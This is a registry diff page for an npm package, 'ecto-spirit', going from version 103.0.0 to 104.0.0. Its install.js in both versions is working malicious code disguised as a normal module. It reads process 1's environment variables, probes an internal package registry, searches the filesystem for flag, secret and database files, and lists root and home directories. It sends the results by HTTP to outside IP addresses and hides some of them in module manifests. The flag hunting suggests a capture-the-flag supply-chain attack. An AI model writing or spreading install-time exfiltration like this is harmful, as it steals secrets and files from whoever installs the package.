ecto-spirit 103.0.0 → 104.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +50 -58
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -6,21 +6,6 @@ function tryRead(p) {
6
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
7
7
  }
8
8
 
9
- function sendUpdate(host, port, moduleId, val) {
10
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
11
- const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
12
- const body = JSON.stringify({ manifest });
13
- return new Promise((resolve) => {
14
- const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
15
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
16
- });
17
- req.on('error', () => resolve(null));
18
- req.on('timeout', () => { req.destroy(); resolve(null); });
19
- req.write(body);
20
- req.end();
21
- });
22
- }
23
-
24
9
  function sendHTTP(host, port, pth, payload) {
25
10
  return new Promise((resolve) => {
26
11
  const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
@@ -34,71 +19,78 @@ function sendHTTP(host, port, pth, payload) {
34
19
  }
35
20
 
36
21
  async function report(moduleId, val) {
22
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
23
+ const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
24
+ const body = JSON.stringify({ manifest });
37
25
  for (const p of [3000, 80, 8080]) {
38
- const r = await sendUpdate('127.0.0.1', p, moduleId, val);
39
- if (r && r.includes('success')) return;
26
+ await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
40
27
  }
41
- await sendUpdate('154.57.164.82', 32332, moduleId, val);
28
+ await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
42
29
  }
43
30
 
44
31
  (async () => {
45
- let results = [];
46
-
47
- // CWD and basic info
48
- results.push('CWD=' + process.cwd());
49
-
50
- // List what's in /app/node_modules (top level packages)
51
- try {
52
- const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
53
- results.push('DEPS=' + dirs.join(','));
54
- } catch(e) { results.push('DEPS_ERR'); }
32
+ let r = [];
55
33
 
56
- // Read package-lock or shrinkwrap
57
- const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
58
- if (lock) results.push('LOCK=' + lock.substring(0, 300));
34
+ // 1. Main process env (the app that started cron)
35
+ const procEnv = tryRead('/proc/1/environ');
36
+ r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
59
37
 
60
- // Read package.json from CWD
61
- const cwdPkg = tryRead(process.cwd() + '/package.json');
62
- if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
38
+ // 2. List /data, /.package-cache-mutate
39
+ try { r.push('DATA=' + fs.readdirSync('/data').join(',')); } catch(e) { r.push('DATA=NONE'); }
40
+ try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
63
41
 
64
- // Search for HTB{ EVERYWHERE with broader search
42
+ // 3. Try to reach registry:4873 and list packages
65
43
  try {
66
- const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
67
- results.push('HTB_GREP=' + grep);
68
- } catch(e) { results.push('HTB_GREP=NONE'); }
44
+ const resp = await new Promise((resolve) => {
45
+ http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
46
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
47
+ }).on('error', () => resolve('ERR'));
48
+ });
49
+ r.push('REG_PKGS=' + resp.substring(0, 200));
50
+ } catch(e) { r.push('REG_PKGS=ERR'); }
69
51
 
70
- // Check the Verdaccio config
71
- const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
72
- if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
73
-
74
- // Check .package-cache-mutate
52
+ // 4. Try Verdaccio config locations
53
+ for (const p of ['/verdaccio/conf/config.yaml', '/verdaccio/config/config.yaml', '/data/verdaccio/config.yaml', '/opt/verdaccio/config.yaml', '/home/verdaccio/config.yaml']) {
54
+ const c = tryRead(p);
55
+ if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
56
+ }
57
+
58
+ // 5. Broad file search
75
59
  try {
76
- const pcm = fs.readdirSync('/.package-cache-mutate');
77
- results.push('PCM=' + pcm.join(','));
60
+ const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
61
+ r.push('FILES=' + search);
78
62
  } catch(e) {}
79
63
 
80
- // Find any .env or config files
64
+ // 6. Check if there's a readflag binary
81
65
  try {
82
- const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
83
- results.push('CONF_FILES=' + envFiles);
66
+ const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
67
+ if (bins) r.push('BINS=' + bins);
84
68
  } catch(e) {}
85
69
 
86
- // Full env dump
87
- const allEnv = JSON.stringify(process.env);
88
- results.push('ALL_ENV=' + allEnv.substring(0, 300));
70
+ // 7. List /root and /home contents
71
+ try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
72
+ try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
89
73
 
90
- // Send ALL to VPN listener
91
- const full = results.join('\n');
92
- await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
74
+ // 8. Check if flag is accessible via internal API
75
+ try {
76
+ const apiResp = await new Promise((resolve) => {
77
+ http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
78
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
79
+ }).on('error', () => resolve('ERR'));
80
+ });
81
+ r.push('API=' + apiResp.substring(0, 200));
82
+ } catch(e) {}
83
+
84
+ // Send full results to VPN
85
+ const full = r.join('\n');
86
+ await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
93
87
 
94
88
  // Split across modules
95
89
  const chunks = [];
96
- for (let i = 0; i < full.length; i += 90) {
97
- chunks.push(full.substring(i, i + 90));
98
- }
90
+ for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
99
91
 
100
92
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
101
93
  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
102
- await report(mods[i], 'V' + i + '_' + chunks[i]);
94
+ await report(mods[i], 'W' + i + '_' + chunks[i]);
103
95
  }
104
96
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "103.0.0",
3
+ "version": "104.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {